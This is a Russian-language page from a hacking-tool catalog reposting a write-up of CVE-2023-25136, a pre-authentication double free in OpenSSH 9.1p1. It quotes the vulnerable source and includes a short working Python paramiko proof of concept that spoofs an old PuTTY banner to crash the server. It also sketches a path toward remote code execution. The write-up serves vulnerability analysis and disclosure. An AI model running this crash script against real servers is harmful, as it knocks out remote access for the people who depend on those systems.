Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2023-25136 — OpenSSH Pre-Auth Double Free CVE-2023-25136 – разбор и доказательство концепции | Kitploit
Инструменты/GitHubGitHub/malvika-thakur/cve-2023-25136
Анализ уязвимостейЭксплуатацияТестирование на ПроникновениеСтатьи и ИсследованияОбучение и ОбразованиеЭксплуатация Бинарных Файлов
GitHubmalvika-thakur/cve-2023-25136

CVE-2023-25136

OpenSSH Pre-Auth Double Free CVE-2023-25136 – разбор и доказательство концепции

Репозиторий
342 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

OpenSSH (CVE-2023-25136) Double Free до аутентификации — разбор и PoC

Что такое OpenSSH?

OpenSSH — это популярный инструмент, используемый для безопасной связи и удалённого доступа. Он был разработан как бесплатная реализация протокола Secure Shell (SSH) с открытым исходным кодом и широко используется в различных приложениях.

OpenSSH обеспечивает безопасное и зашифрованное соединение между двумя не доверяющими друг другу хостами через незащищённую сеть, что делает его незаменимым инструментом для удалённого доступа и безопасной передачи файлов.

С ростом использования облачных вычислений и удалённого доступа к серверам OpenSSH стал важнейшим инструментом для системных администраторов и разработчиков, которым требуется безопасный доступ к удалённым системам и управление ими.

OpenSSH также поддерживает широкий спектр платформ, включая Linux, macOS и Windows, что делает его широко используемым инструментом в различных операционных системах. Благодаря простоте использования и надёжным функциям безопасности OpenSSH стал отраслевым стандартом для безопасного удалённого доступа.

Предыстория уязвимости

2 февраля 2023 года OpenSSH выпустил версию 9.2p1 вместе с этим бюллетенем безопасности. Сразу стало ясно, что эта версия представляет интерес из-за уязвимости двойного освобождения до аутентификации (pre-auth double-free). В репозитории OpenSSH на GitHub это коммит с исправлением.

Сообщение коммита указывает на bz3522, что относится к проблеме в Bugzilla, сообщённой пользователем Mantas Mikulėnas.

В своём отчёте Mantas упоминает использование устаревшей версии PuTTY 0.64, приложив также обратную трассировку (back-trace) аварийного завершения из-за двойного освобождения.

Ход исследования

Чтобы разобраться глубже, мы развернули среду с уязвимой версией OpenSSH 9.1p1 и скопировали старую версию PuTTY 0.64, выпущенную 8 лет назад — 28 февраля 2015 года.

После попытки подключения с помощью PuTTY 0.64 к уязвимому серверу OpenSSH была получена следующая ошибка:

1_PuTTY-0 64-Fatal-Error

Поскольку устаревшие алгоритмы обмена ключами клиента не поддерживаются новой версией OpenSSH, мы отредактировали файл sshd_config, добавив следующую строку в /etc/ssh/sshd_config : KexAlgorithms +diffie-hellman-group1-sha1

После перезапуска SSH-сервера и повторной попытки была получена следующая ошибка:

2_PuTTY-Fatal-Error

После добавления ещё одной строки конфигурации в sshd_config нам удалось подключиться к уязвимому серверу OpenSSH и воспроизвести сбой:

HostKeyAlgorithms +ssh-rsa

При запуске сервера в режиме отладки (с флагом -ddd) было получено следующее отладочное сообщение:

ssh_sandbox_violation: unexpected system call (arch:0xc000003e,syscall:20 @ 0x7fd7473fb771) [preauth]

Системный вызов номер 20 — это writev(), что соответствует отчёту в Bugzilla.

Обратите внимание: изменения конфигурации, которые мы внесли, были нужны только для воспроизведения уязвимости через PuTTY и не требуются для её эксплуатации. Как мы увидим в PoC, конфигурация по умолчанию уязвима.

Подробности уязвимости

Мы начали с изучения коммита с исправлением, в котором указано, что за двойное освобождение отвечает функция compat_kex_proposal(). Когда опция совместимости соединения SSH_OLD_DHGEX истинна в [1], второй аргумент p присваивается переменной cp в [2], а затем освобождается в [3].

root@kitploit:~
/* Always returns pointer to allocated memory, caller must free. */
char *
compat_kex_proposal(struct ssh *ssh, char *p)
{
    char *cp = NULL;


    if ((ssh->compat & (SSH_BUG_CURVE25519PAD|SSH_OLD_DHGEX)) == 0)
        return xstrdup(p);
    debug2_f("original KEX proposal: %s", p);
    if ((ssh->compat & SSH_BUG_CURVE25519PAD) != 0)
        if ((p = match_filter_denylist(p,
            "[email protected]")) == NULL)
            fatal("match_filter_denylist failed");
    if ((ssh->compat & SSH_OLD_DHGEX) != 0) {               [1]
        cp = p;                                             [2]
        if ((p = match_filter_denylist(p,
            "diffie-hellman-group-exchange-sha256,"
            "diffie-hellman-group-exchange-sha1")) == NULL)
            fatal("match_filter_denylist failed");
        free(cp);                                           [3]
    }
    debug2_f("compat KEX proposal: %s", p);
    if (*p == '\0')
        fatal("No supported key exchange algorithms found");
    return p;
}

Вызов compat_kex_proposal() находится внутри функции do_ssh2_kex():

root@kitploit:~
    myproposal[PROPOSAL_KEX_ALGS] = prop_kex = compat_kex_proposal(ssh,
        options.kex_algorithms);

Освобождённый в compat_kex_proposal() указатель cp=p ссылается на аргумент options.kex_algorithms.

При поиске kex_algorithms в исходном коде мы наткнулись на assemble_algorithms из аварийного завершения, описанного в отчёте Bugzilla:

root@kitploit:~
ASSEMBLE(kex_algorithms, def_kex, all_kex);

ASSEMBLE — это макрос для вызова функции kex_assemble_names():

root@kitploit:~
#define ASSEMBLE(what, defaults, all) \
    do { \
        if ((r = kex_assemble_names(&o->what, defaults, all)) != 0) \
            fatal_fr(r, "%s", #what); \
    } while (0)

Функция kex_assemble_names() вызывается с адресом o->kex_algorithms в качестве первого аргумента (который является listp). Именно здесь происходит второе освобождение.

root@kitploit:~
int
kex_assemble_names(char **listp, const char *def, const char *all)

Поскольку указатель options.kex_algorithms был освобождён и стал висячим указателем, он освобождается ещё раз, что приводит к двойному освобождению.

Но где устанавливается опция SSH_OLD_DHGEX?

Внутри функции compat_banner(), которая определяет флаги ошибок (bug flags) на основе баннера протокола SSH. Структура с именем check[] перечисляет все идентификаторы SSH-клиентов и их флаги. В приведённом ниже фрагменте показаны идентификаторы клиентов, которым присвоена опция SSH_OLD_DHGEX. Также видно, что WinSCP, возможно, тоже способен вызвать такое поведение.

root@kitploit:~
        { "PuTTY_Local:*,"  /* dev versions < Sep 2014 */ "PuTTY-Release-0.5*," /* 0.50-0.57, DH-GEX in >=0.52 */
          "PuTTY_Release_0.5*," /* 0.58-0.59 */
          "PuTTY_Release_0.60*,"
          "PuTTY_Release_0.61*,"
          "PuTTY_Release_0.62*,"
          "PuTTY_Release_0.63*,"
          "PuTTY_Release_0.64*",
                    SSH_OLD_DHGEX },
        { "FuTTY*",     SSH_OLD_DHGEX }, /* Putty Fork */
        { "WinSCP_release_4*,"
          "WinSCP_release_5.0*,"
          "WinSCP_release_5.1,"
          "WinSCP_release_5.1.*,"
          "WinSCP_release_5.5,"
          "WinSCP_release_5.5.*,"
          "WinSCP_release_5.6,"
          "WinSCP_release_5.6.*,"
          "WinSCP_release_5.7,"
          "WinSCP_release_5.7.1,"
          "WinSCP_release_5.7.2,"
          "WinSCP_release_5.7.3,"
          "WinSCP_release_5.7.4",
                    SSH_OLD_DHGEX },

Эксплойт-концепция

Мы решили создать эксплойт-концепцию для отказа в обслуживании (Denial of Service) на Python из-за её гибкости и переносимости. Эксплойт-концепция вызывает двойное освобождение с помощью пакета paramiko и приводит к аварийному завершению (abort).

paramiko — это широко распространённая реализация SSH на Python, предоставляющая функциональность как сервера, так и клиента. Для PoC мы изменили баннер версии подключающегося клиента, чтобы он соответствовал устаревшему клиенту, например PuTTY v0.64.

Доступен в нашем репозитории на GitHub.

root@kitploit:~
import paramiko


VICTIM_IP = "127.0.1"
CLIENT_ID = "PuTTY_Release_0.64"


def main():
    transport = paramiko.Transport(VICTIM_IP)
    transport.local_version = f"SSH-2.0-{CLIENT_ID}"
    transport.connect(username='', password='')


if __name__ == "__main__":
    main()

Эксплойт-концепция для RCE

Эксплойт размещает другую структуру с именем EVP_AES_KEY вместо освобождённого options.kex_algorithms. Позже, при двойном освобождении, она снова освобождается. Затем её содержимое перезаписывается другим чанком с использованием authctxt->user или authctxt->style.

Когда EVP_Cipher() впоследствии попытается использовать этот EVP_AES_KEY, он будет использовать этот чанк, перезаписавший его данными, контролируемыми атакующим.

Влияние уязвимости

Демон OpenSSH ожидает подключения от клиентов. Для каждого входящего подключения он создаёт (форкает) новый дочерний демон. Дочерние демоны обрабатывают обмен ключами, шифрование, аутентификацию, выполнение команд и обмен данными.

Уязвимость представляет собой двойное освобождение, которое теоретически может быть использовано для отказа в обслуживании, как показано в нашей эксплойт-концепции, а возможно, и для удалённого выполнения кода (RCE), хотя создание рабочего эксплойта считается сложным из-за применяемых мер безопасности, таких как песочница (sandbox) и механизм разделения привилегий (Privilege Separation). В случае отказа в обслуживании следует отметить, что аварийно завершаются только дочерние демоны из-за нарушения песочницы при попытке вызова writev(), поэтому основной серверный демон остаётся свободным для обработки новых клиентов.

Данной уязвимости присвоен высокий уровень серьёзности по следующим причинам:

  1. Никаких предварительных условий не требуется. Конфигурация по умолчанию уязвима.

  2. Если не применяются механизмы защиты от эксплуатации памяти (например, ASLR или NX), возможен RCE, согласно недавней публикации.

  3. Что касается атаки типа «отказ в обслуживании», аварийное завершение дочернего рабочего процесса гораздо менее серьёзно, чем DoS, который приводит к падению важного демона, но оба они получат высокий (High) балл CVSS по влиянию на доступность (Availability).

  4. Следует отметить, что OpenSSH применяет такие меры безопасности, как песочница и механизм разделения привилегий, но они не должны снижать серьёзность возможной атаки с целью RCE.

Затронутые системы

Уязвимость применима только к OpenSSH версии 9.1p1 с конфигурацией по умолчанию, то есть никаких предварительных условий не требуется.

Скачать инструмент